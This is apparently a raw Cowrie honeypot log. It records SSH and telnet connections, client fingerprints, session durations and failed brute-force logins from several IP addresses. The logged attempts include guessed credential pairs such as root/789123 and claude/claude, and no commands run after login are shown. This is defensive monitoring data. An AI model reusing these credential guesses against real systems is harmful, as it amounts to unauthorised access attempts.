{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54362,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07d341a41fb","protocol":"telnet","message":"New connection: 192.119.13.58:54362 (10.17.0.5:23) [session: f07d341a41fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:48.594037Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":40974,"dst_ip":"159.203.135.109","dst_port":22,"session":"de601ecfda0f","protocol":"ssh","message":"New connection: 103.149.170.125:40974 (159.203.135.109:22) [session: de601ecfda0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:50.217289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:50.221883Z","src_ip":"103.149.170.125","session":"de601ecfda0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:50.483294Z","src_ip":"103.149.170.125","session":"de601ecfda0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789123","message":"login attempt [root/789123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:51.530715Z","src_ip":"103.149.170.125","session":"de601ecfda0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60108,"dst_ip":"159.203.135.109","dst_port":22,"session":"d098430d61ff","protocol":"ssh","message":"New connection: 103.172.78.219:60108 (159.203.135.109:22) [session: d098430d61ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:51.608023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:51.611911Z","src_ip":"103.172.78.219","session":"d098430d61ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:51.874882Z","src_ip":"103.172.78.219","session":"d098430d61ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.898645877838135,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:51.956556Z","src_ip":"192.119.13.58","session":"1f62783b0bf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38056,"dst_ip":"10.17.0.5","dst_port":23,"session":"705d78d86e7d","protocol":"telnet","message":"New connection: 192.119.13.58:38056 (10.17.0.5:23) [session: 705d78d86e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:51.983973Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40800,"dst_ip":"10.17.0.5","dst_port":23,"session":"804899c613a3","protocol":"telnet","message":"New connection: 192.119.13.58:40800 (10.17.0.5:23) [session: 804899c613a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:52.621755Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"112211","message":"login attempt [root/112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:52.666979Z","src_ip":"103.172.78.219","session":"d098430d61ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:52.788921Z","src_ip":"103.149.170.125","session":"de601ecfda0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:53.934106Z","src_ip":"103.172.78.219","session":"d098430d61ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33248,"dst_ip":"10.17.0.5","dst_port":23,"session":"8141e228e17a","protocol":"telnet","message":"New connection: 192.119.13.58:33248 (10.17.0.5:23) [session: 8141e228e17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:57.548612Z"}
{"eventid":"cowrie.session.closed","duration":40.27489233016968,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:00.202815Z","src_ip":"192.119.13.58","session":"9c9a4a5fafcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.414363622665405,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:00.723264Z","src_ip":"192.119.13.58","session":"aa71acf8e68b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.74570441246033,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:01.273782Z","src_ip":"192.119.13.58","session":"4c6663a6b2ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5965211391449,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:01.307506Z","src_ip":"192.119.13.58","session":"d7bd1b6947e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"5599e2d5c236","protocol":"telnet","message":"New connection: 192.119.13.58:51336 (10.17.0.5:23) [session: 5599e2d5c236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:02.450262Z"}
{"eventid":"cowrie.session.closed","duration":37.672669887542725,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:04.108437Z","src_ip":"192.119.13.58","session":"32a7202a0d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.37191891670227,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:06.068037Z","src_ip":"192.119.13.58","session":"916d856e8b25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.369420289993286,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:09.709482Z","src_ip":"192.119.13.58","session":"dd9cf35646c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36752,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4aa9f228773","protocol":"telnet","message":"New connection: 192.119.13.58:36752 (10.17.0.5:23) [session: a4aa9f228773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:21.066730Z"}
{"eventid":"cowrie.session.closed","duration":38.421035289764404,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:24.285576Z","src_ip":"192.119.13.58","session":"d0215cb851c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.619484663009644,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:26.020961Z","src_ip":"192.119.13.58","session":"58db6067a133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38708,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd3bcf083fd5","protocol":"telnet","message":"New connection: 192.119.13.58:38708 (10.17.0.5:23) [session: dd3bcf083fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:28.382231Z"}
{"eventid":"cowrie.session.closed","duration":43.0417845249176,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:31.635730Z","src_ip":"192.119.13.58","session":"f07d341a41fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56492,"dst_ip":"10.17.0.5","dst_port":23,"session":"691ae0288b03","protocol":"telnet","message":"New connection: 192.119.13.58:56492 (10.17.0.5:23) [session: 691ae0288b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:32.300604Z"}
{"eventid":"cowrie.session.closed","duration":42.159568071365356,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:39.708067Z","src_ip":"192.119.13.58","session":"8141e228e17a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.140379190444946,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:46.762027Z","src_ip":"192.119.13.58","session":"804899c613a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36494,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cedb1853d94","protocol":"ssh","message":"New connection: 103.176.20.57:36494 (10.17.0.5:22) [session: 6cedb1853d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:47.518918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:47.524987Z","src_ip":"103.176.20.57","session":"6cedb1853d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52801,"dst_ip":"159.203.135.109","dst_port":22,"session":"92ac0faa3c4f","protocol":"ssh","message":"New connection: 2.57.121.25:52801 (159.203.135.109:22) [session: 92ac0faa3c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:47.564297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:47.569587Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:47.675888Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:47.787461Z","src_ip":"103.176.20.57","session":"6cedb1853d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47274,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ce064a2d80","protocol":"telnet","message":"New connection: 192.119.13.58:47274 (10.17.0.5:23) [session: 09ce064a2d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:48.042784Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"120983","message":"login attempt [user/120983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:48.163374Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.9656777381897,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:48.415817Z","src_ip":"192.119.13.58","session":"5599e2d5c236","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"19711971","message":"login attempt [root/19711971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:48.527535Z","src_ip":"103.176.20.57","session":"6cedb1853d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.72081685066223,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:48.704680Z","src_ip":"192.119.13.58","session":"705d78d86e7d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"12091978","message":"login attempt [user/12091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:49.270199Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:49.780255Z","src_ip":"103.176.20.57","session":"6cedb1853d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12081978","message":"login attempt [user/12081978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:50.375870Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12061996","message":"login attempt [user/12061996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:51.483165Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120587","message":"login attempt [user/120587] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:52.590376Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:03:53.696933Z","src_ip":"2.57.121.25","session":"92ac0faa3c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.67548131942749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:00.057613Z","src_ip":"192.119.13.58","session":"dd3bcf083fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":37836,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fa72fa078eb","protocol":"ssh","message":"New connection: 69.6.222.198:37836 (159.203.135.109:22) [session: 0fa72fa078eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:05.507755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:05.520890Z","src_ip":"69.6.222.198","session":"0fa72fa078eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:05.631228Z","src_ip":"69.6.222.198","session":"0fa72fa078eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:06.092273Z","src_ip":"69.6.222.198","session":"0fa72fa078eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.45064973831177,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:06.751125Z","src_ip":"192.119.13.58","session":"691ae0288b03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:07.208908Z","src_ip":"69.6.222.198","session":"0fa72fa078eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47484,"dst_ip":"10.17.0.5","dst_port":23,"session":"b67d28bba8a8","protocol":"telnet","message":"New connection: 192.119.13.58:47484 (10.17.0.5:23) [session: b67d28bba8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:07.837449Z"}
{"eventid":"cowrie.session.closed","duration":49.80260729789734,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:10.869210Z","src_ip":"192.119.13.58","session":"a4aa9f228773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35784,"dst_ip":"10.17.0.5","dst_port":23,"session":"1048145b8ce5","protocol":"telnet","message":"New connection: 192.119.13.58:35784 (10.17.0.5:23) [session: 1048145b8ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:11.747791Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53156,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2156889fae1","protocol":"telnet","message":"New connection: 192.119.13.58:53156 (10.17.0.5:23) [session: d2156889fae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:15.574192Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37462,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77e0923e7d8","protocol":"telnet","message":"New connection: 192.119.13.58:37462 (10.17.0.5:23) [session: d77e0923e7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:19.375632Z"}
